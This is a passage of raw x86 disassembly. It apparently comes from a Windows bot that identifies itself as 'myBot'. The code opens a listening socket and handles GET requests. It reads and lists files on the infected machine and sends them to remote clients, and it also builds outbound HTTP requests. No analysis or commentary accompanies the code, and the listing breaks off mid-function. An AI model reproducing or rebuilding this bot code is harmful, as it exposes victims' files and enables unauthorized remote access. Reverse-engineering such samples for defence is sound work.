loc_404ED0:				; CODE XREF: sub_404807+699j
					; sub_404807+6B3j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_404ED9:				; CODE XREF: sub_404807+6D7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404ED9
		push	esi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EFB	proc near		; CODE XREF: sub_405121+12Bp

var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	[ebp+var_4], 400h
		mov	[ebp+var_C], esi
		call	dword_422034	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404FB8
		push	esi
		push	ebx
		call	dword_422094	; GetFileSize
		mov	edx, eax
		cmp	edx, esi
		mov	[ebp+var_8], edx
		jz	short loc_404FB1
		push	edi
		jmp	short loc_404F49
; ---------------------------------------------------------------------------


loc_404F46:				; CODE XREF: sub_404EFB+B3j
		mov	edx, [ebp+var_8]


loc_404F49:				; CODE XREF: sub_404EFB+49j
		xor	eax, eax
		cmp	[ebp+var_4], edx
		mov	ecx, 100h
		lea	edi, [ebp+var_40C]
		rep stosd
		jbe	short loc_404F60
		mov	[ebp+var_4], edx


loc_404F60:				; CODE XREF: sub_404EFB+60j
		push	2
		push	esi
		neg	edx
		push	edx
		push	ebx
		call	dword_422090	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	ebx
		call	dword_42208C	; ReadFile
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404FAB
		call	dword_43A45C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_404FB0
		xor	eax, eax


loc_404FAB:				; CODE XREF: sub_404EFB+9Fj
		sub	[ebp+var_8], eax
		jnz	short loc_404F46


loc_404FB0:				; CODE XREF: sub_404EFB+ACj
		pop	edi


loc_404FB1:				; CODE XREF: sub_404EFB+46j
		push	ebx
		call	dword_42202C	; CloseHandle


loc_404FB8:				; CODE XREF: sub_404EFB+31j
		pop	esi
		pop	ebx
		leave
		retn
sub_404EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FBC	proc near		; CODE XREF: sub_40528F+182p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ecx, eax
		push	esi
		xor	esi, esi
		lea	edx, [ecx+1]


loc_404FCB:				; CODE XREF: sub_404FBC+14j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_404FCB
		sub	ecx, edx
		mov	[ebp+arg_0], ecx
		jz	short loc_404FF6


loc_404FD9:				; CODE XREF: sub_404FBC+38j
		cmp	byte ptr [esi+eax], 5Ch
		jnz	short loc_404FE3
		mov	byte ptr [esi+eax], 2Fh


loc_404FE3:				; CODE XREF: sub_404FBC+21j
		mov	ecx, eax
		inc	esi
		lea	edx, [ecx+1]


loc_404FE9:				; CODE XREF: sub_404FBC+32j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_404FE9
		sub	ecx, edx
		cmp	esi, ecx
		jb	short loc_404FD9


loc_404FF6:				; CODE XREF: sub_404FBC+1Bj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_404FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FFA	proc near		; CODE XREF: sub_409806+5824p

var_4A4		= byte ptr -4A4h
var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A4h
		push	edi
		lea	eax, [ebp+var_4A4]
		push	eax
		push	101h
		call	dword_43A3AC	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_43A39C	; socket
		push	[ebp+arg_14]
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], 2
		call	dword_43A4F4	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_12], ax
		call	sub_40873C
		pop	ecx
		mov	[ebp+var_10], eax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4050DA
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jnz	short loc_40506D
		mov	eax, (offset asc_422B08+2)


loc_40506D:				; CODE XREF: sub_404FFA+6Cj
		push	ebx
		push	esi
		push	[ebp+arg_10]
		mov	ebx, 100h
		push	eax
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_114]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_114]
		add	esp, 1Ch
		lea	esi, [eax+1]


loc_40509C:				; CODE XREF: sub_404FFA+A7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40509C
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		call	dword_43A438	; send
		push	40h
		pop	ecx
		push	0
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		xor	esi, esi
		lea	edi, [ebp+var_114]
		rep movsd
		call	dword_43A304	; recv
		pop	esi
		pop	ebx


loc_4050DA:				; CODE XREF: sub_404FFA+65j
		push	[ebp+var_4]
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_416905
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		pop	edi
		jnz	short locret_40511F
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h

locret_40511F:				; CODE XREF: sub_404FFA+109j
		leave
		retn
sub_404FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_405121	proc near		; DATA XREF: sub_40528F+24Eo

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	sub_416B20
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+74h+var_3C8]
		push	eax
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_416905
		lea	eax, [ebp+74h+var_2C4]
		push	eax
		lea	eax, [ebp+74h+var_654]
		push	eax
		call	sub_416905
		xor	ebx, ebx
		add	esp, 10h
		cmp	[ebp+74h+var_A4], ebx
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_405189
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40518E
; ---------------------------------------------------------------------------


loc_405189:				; CODE XREF: sub_405121+5Fj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40518E:				; CODE XREF: sub_405121+66j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	dword_42209C	; GetDateFormatA
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_422098	; GetTimeFormatA
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_4051FB
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416905
		add	esp, 24h
		jmp	short loc_405213
; ---------------------------------------------------------------------------


loc_4051FB:				; CODE XREF: sub_405121+C1j
		push	[ebp+74h+var_B8]
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416905
		add	esp, 28h


loc_405213:				; CODE XREF: sub_405121+D8j
		lea	eax, [ebp+74h+var_1654]
		lea	edx, [eax+1]


loc_40521C:				; CODE XREF: sub_405121+100j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40521C
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_43A438	; send
		cmp	[ebp+74h+var_A4], ebx
		jnz	short loc_405255
		lea	eax, [ebp+74h+var_550]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_404EFB
		pop	ecx
		pop	ecx
		jmp	short loc_405272
; ---------------------------------------------------------------------------


loc_405255:				; CODE XREF: sub_405121+11Cj
		lea	eax, [ebp+74h+var_654]
		push	eax
		push	ebx
		push	[ebp+74h+var_44C]
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_404807
		add	esp, 10h


loc_405272:				; CODE XREF: sub_405121+132j
		push	[ebp+74h+var_44C]
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+var_B4]
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_405121	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40528F	proc near		; CODE XREF: sub_405549+37Cp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_210]
		rep stosd
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	byte ptr [eax],	2Fh
		mov	[ebp+var_4], esi
		push	eax
		jz	short loc_4052BD
		push	offset aS_8	; "\\%s"
		jmp	short loc_4052C5
; ---------------------------------------------------------------------------


loc_4052BD:				; CODE XREF: sub_40528F+25j
		mov	byte ptr [eax],	5Ch
		push	offset aS_3	; "%s"


loc_4052C5:				; CODE XREF: sub_40528F+2Cj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_10C]
		add	esp, 0Ch
		xor	edi, edi
		lea	ecx, [eax+1]


loc_4052DF:				; CODE XREF: sub_40528F+55j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4052DF
		sub	eax, ecx
		mov	[ebp+arg_8], eax
		jz	short loc_405365
		push	2
		pop	ebx


loc_4052F0:				; CODE XREF: sub_40528F+D4j
		lea	eax, [ebp+var_10C]
		lea	edx, [eax+1]


loc_4052F9:				; CODE XREF: sub_40528F+6Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4052F9
		sub	eax, edx
		cmp	ebx, eax
		jnb	short loc_405332
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_405332
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_405332
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_405332
		inc	esi
		inc	esi
		inc	ebx
		mov	[ebp+edi+var_210], 20h
		inc	ebx
		jmp	short loc_40534C
; ---------------------------------------------------------------------------


loc_405332:				; CODE XREF: sub_40528F+75j
					; sub_40528F+7Fj ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_405342
		push	5Ch
		pop	eax
		jmp	short loc_405345
; ---------------------------------------------------------------------------


loc_405342:				; CODE XREF: sub_40528F+ACj
		movsx	eax, al


loc_405345:				; CODE XREF: sub_40528F+B1j
		mov	[ebp+edi+var_210], al


loc_40534C:				; CODE XREF: sub_40528F+A1j
		inc	esi
		lea	eax, [ebp+var_10C]
		inc	ebx
		inc	edi
		lea	ecx, [eax+1]


loc_405358:				; CODE XREF: sub_40528F+CEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405358
		sub	eax, ecx
		cmp	esi, eax
		jb	short loc_4052F0


loc_405365:				; CODE XREF: sub_40528F+5Cj
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_314]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_314]
		push	offset asc_4236F8 ; "\n"
		push	eax
		call	sub_417779
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4220A0	; GetFileAttributesA
		xor	ebx, ebx
		inc	ebx
		cmp	eax, 10h
		jz	short loc_4053B6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4053B9
		push	[ebp+arg_0]
		jmp	loc_40543E
; ---------------------------------------------------------------------------


loc_4053B6:				; CODE XREF: sub_40528F+118j
		mov	[ebp+var_4], ebx


loc_4053B9:				; CODE XREF: sub_40528F+11Dj
		cmp	[ebp+edi+var_211], 5Ch
		jnz	short loc_4053C6
		mov	[ebp+var_4], ebx


loc_4053C6:				; CODE XREF: sub_40528F+132j
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], eax
		mov	[ebp+var_318], edi
		jz	short loc_405449
		cmp	[ebp+arg_C], edi
		jz	short loc_40543D
		lea	edi, [ebp+var_314]
		dec	edi


loc_4053E8:				; CODE XREF: sub_40528F+15Fj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4053E8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		mov	esi, offset asc_4239B4 ; "*"
		push	eax
		movsw
		call	sub_416905
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_404FBC
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_416905
		or	[ebp+var_330], 0FFFFFFFFh
		add	esp, 14h
		mov	[ebp+var_31C], ebx
		xor	edi, edi
		jmp	short loc_405498
; ---------------------------------------------------------------------------


loc_40543D:				; CODE XREF: sub_40528F+150j
		push	eax


loc_40543E:				; CODE XREF: sub_40528F+122j
		call	dword_43A4B0	; closesocket
		jmp	loc_405530
; ---------------------------------------------------------------------------


loc_405449:				; CODE XREF: sub_40528F+14Bj
		push	edi
		push	edi
		push	3
		push	edi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_422034	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_405498
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	edi
		push	esi
		mov	[ebp+var_31C], edi
		call	dword_422094	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42202C	; CloseHandle


loc_405498:				; CODE XREF: sub_40528F+1ACj
					; sub_40528F+1D7j
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_8C4]
		push	4
		push	eax
		call	sub_4136B6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43B244[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_405121
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40553F
		push	[ebp+arg_0]
		call	dword_43A4B0	; closesocket
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_401ECD
		add	esp, 10h


loc_405530:				; CODE XREF: sub_40528F+1B5j
					; sub_40528F+2B8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405537:				; CODE XREF: sub_40528F+2B6j
		push	5
		call	dword_422000	; Sleep


loc_40553F:				; CODE XREF: sub_40528F+26Fj
		cmp	[ebp+var_318], edi
		jz	short loc_405537
		jmp	short loc_405530
sub_40528F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405549	proc near		; DATA XREF: sub_401141+34Co
					; sub_409806+4A0Fo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+var_6F0]
		rep movsd
		push	[ebp+var_360]
		xor	esi, esi
		inc	esi
		mov	[eax+3ACh], esi
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], esi
		mov	[ebp+var_24], 2
		call	dword_43A4F4	; ntohs
		and	[ebp+var_20], 0
		push	0
		push	esi
		push	2
		mov	[ebp+var_22], ax
		call	dword_43A39C	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		mov	[ebp+var_8], ebx
		jz	loc_40591C
		mov	eax, [ebp+var_358]
		imul	eax, 234h
		mov	dword_43B24C[eax], ebx
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43A47C	; bind
		cmp	eax, edi
		jz	loc_40591C
		push	7FFFFFFFh
		push	ebx
		call	dword_43A4C8	; listen
		cmp	eax, edi
		jz	loc_40591C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	ebx
		call	dword_43A334	; ioctlsocket
		cmp	eax, edi
		jz	loc_40591C
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	[ebp+var_124], ebx
		mov	[ebp+var_128], esi
		mov	[ebp+var_4], ebx
		lea	eax, [ebx+1]
		jmp	loc_4058FE
; ---------------------------------------------------------------------------


loc_40562E:				; CODE XREF: sub_405549+3CDj
		xor	esi, esi
		mov	[ebp+arg_0], esi


loc_405633:				; CODE XREF: sub_405549+39Cj
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	dword_43A3F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4058DB
		cmp	esi, ebx
		jnz	short loc_4056B0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		mov	[ebp+var_10], 10h
		call	dword_43A35C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4058DB
		mov	edx, [ebp+var_128]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_405689


loc_40567B:				; CODE XREF: sub_405549+13Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_405689
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40567B


loc_405689:				; CODE XREF: sub_405549+130j
					; sub_405549+139j
		cmp	ecx, edx
		jnz	short loc_40569F
		cmp	edx, 40h
		jnb	short loc_40569F
		mov	[ebp+ecx*4+var_124], eax
		inc	[ebp+var_128]


loc_40569F:				; CODE XREF: sub_405549+142j
					; sub_405549+147j
		cmp	eax, [ebp+var_4]
		jbe	loc_4058DB
		mov	[ebp+var_4], eax
		jmp	loc_4058DB
; ---------------------------------------------------------------------------


loc_4056B0:				; CODE XREF: sub_405549+102j
		mov	edx, 400h
		xor	eax, eax
		mov	ecx, edx
		lea	edi, [ebp+var_28F0]
		rep stosd
		push	eax
		mov	ecx, edx
		lea	edi, [ebp+var_18F0]
		rep stosd
		push	1000h
		lea	eax, [ebp+var_28F0]
		push	eax
		push	esi
		call	dword_43A304	; recv
		test	eax, eax
		jg	short loc_405734
		push	esi
		call	dword_43A4B0	; closesocket
		xor	eax, eax
		cmp	[ebp+var_128], eax
		jbe	loc_4058DB


loc_4056F8:				; CODE XREF: sub_405549+1BFj
		cmp	[ebp+eax*4+var_124], esi
		jz	short loc_40571E
		inc	eax
		cmp	eax, [ebp+var_128]
		jb	short loc_4056F8
		jmp	loc_4058DB
; ---------------------------------------------------------------------------


loc_40570F:				; CODE XREF: sub_405549+1DEj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		inc	eax


loc_40571E:				; CODE XREF: sub_405549+1B6j
		mov	ecx, [ebp+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40570F
		dec	[ebp+var_128]
		jmp	loc_4058DB
; ---------------------------------------------------------------------------


loc_405734:				; CODE XREF: sub_405549+198j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_340]
		rep stosd
		lea	eax, [ebp+var_28F0]
		xor	ebx, ebx
		xor	esi, esi
		lea	ecx, [eax+1]


loc_40574E:				; CODE XREF: sub_405549+20Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40574E
		sub	eax, ecx
		mov	[ebp+var_C], eax
		jz	loc_4058D8


loc_405760:				; CODE XREF: sub_405549+2D0j
		mov	al, [ebp+ebx+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405803
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4057DD
		lea	eax, [ebp+var_18F0]
		lea	edx, [eax+1]


loc_405797:				; CODE XREF: sub_405549+253j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405797
		sub	eax, edx
		cmp	eax, 5
		jbe	short loc_4057DD
		mov	eax, offset asc_422B08 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4173D0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4173D0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417779
		pop	ecx
		pop	ecx
		lea	edx, [ebp+var_340]


loc_4057D1:				; CODE XREF: sub_405549+290j
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_4057D1
		jmp	short loc_4057F1
; ---------------------------------------------------------------------------


loc_4057DD:				; CODE XREF: sub_405549+243j
					; sub_405549+25Aj
		push	3
		mov	edi, offset asc_4239F0 ; "\r\n"
		lea	esi, [ebp+var_18F0]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_405824


loc_4057F1:				; CODE XREF: sub_405549+292j
		xor	eax, eax
		mov	ecx, 400h
		lea	edi, [ebp+var_18F0]
		rep stosd
		or	esi, 0FFFFFFFFh


loc_405803:				; CODE XREF: sub_405549+227j
		lea	eax, [ebp+var_28F0]
		inc	ebx
		inc	esi
		lea	ecx, [eax+1]


loc_40580E:				; CODE XREF: sub_405549+2CAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40580E
		sub	eax, ecx
		cmp	ebx, eax
		jb	loc_405760
		jmp	loc_4058D8
; ---------------------------------------------------------------------------


loc_405824:				; CODE XREF: sub_405549+2A6j
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_405863


loc_405830:				; CODE XREF: sub_405549+2F6j
		mov	edx, [ebp+eax*4+var_124]
		cmp	edx, [ebp+arg_0]
		jz	short loc_405858
		inc	eax
		cmp	eax, ecx
		jb	short loc_405830
		jmp	short loc_405863
; ---------------------------------------------------------------------------


loc_405843:				; CODE XREF: sub_405549+312j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ecx, [ebp+var_128]
		inc	eax


loc_405858:				; CODE XREF: sub_405549+2F1j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_405843
		dec	[ebp+var_128]


loc_405863:				; CODE XREF: sub_405549+2E5j
					; sub_405549+2F8j
		lea	eax, [ebp+var_340]
		lea	edx, [eax+1]


loc_40586C:				; CODE XREF: sub_405549+328j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40586C
		sub	eax, edx
		mov	esi, eax
		lea	eax, [ebp+var_464]
		lea	ecx, [eax+1]


loc_405880:				; CODE XREF: sub_405549+33Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405880
		sub	eax, ecx
		add	eax, esi
		cmp	eax, 104h
		jnb	short loc_4058CF
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_43A334	; ioctlsocket
		push	[ebp+var_358]
		lea	eax, [ebp+var_340]
		push	[ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_464]
		push	eax
		push	[ebp+arg_0]
		call	sub_40528F
		add	esp, 14h
		jmp	short loc_4058D8
; ---------------------------------------------------------------------------


loc_4058CF:				; CODE XREF: sub_405549+347j
		push	[ebp+arg_0]
		call	dword_43A4B0	; closesocket


loc_4058D8:				; CODE XREF: sub_405549+211j
					; sub_405549+2D6j ...
		mov	ebx, [ebp+var_8]


loc_4058DB:				; CODE XREF: sub_405549+FAj
					; sub_405549+120j ...
		mov	esi, [ebp+arg_0]
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jbe	loc_405633
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax


loc_4058FE:				; CODE XREF: sub_405549+E0j
		lea	esi, [ebp+var_128]
		lea	edi, [ebp+var_23C]
		push	eax
		rep movsd
		call	dword_43A448	; select
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40562E


loc_40591C:				; CODE XREF: sub_405549+66j
					; sub_405549+8Dj ...
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
		push	eax
		call	sub_416905
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_350], esi
		jnz	short loc_405964
		push	esi
		push	[ebp+var_354]
